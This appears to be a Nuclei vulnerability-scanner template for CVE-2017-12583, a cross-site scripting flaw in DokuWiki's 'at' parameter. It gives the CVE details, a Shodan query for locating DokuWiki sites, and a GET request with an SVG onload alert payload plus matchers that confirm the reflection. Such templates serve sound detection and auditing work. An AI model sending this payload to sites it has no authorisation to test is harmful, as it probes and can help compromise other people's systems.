48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2017-12583
|
|
|
|
info:
|
|
name: DokuWiki - Cross-Site Scripting
|
|
author: DhiyaneshDK
|
|
severity: medium
|
|
description: DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Upgrade to the latest version of DokuWiki or apply the provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://github.com/splitbrain/dokuwiki/issues/2061
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-12583
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2017-12583
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.41024
|
|
cpe: cpe:2.3:a:dokuwiki:dokuwiki:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: dokuwiki
|
|
product: dokuwiki
|
|
shodan-query: http.title:"DokuWiki"
|
|
tags: cve,cve2017,xss,dokuwiki
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402205452a2223c817dfd82e8c9785f48ab54eb45988a1be6b3286032723d5bb082f9022033a4508c77a8d4d8c327ae74994c694c5202c5a472d4b5c36ebac717307b102f:922c64590222798bb761d5b6d8e72950 |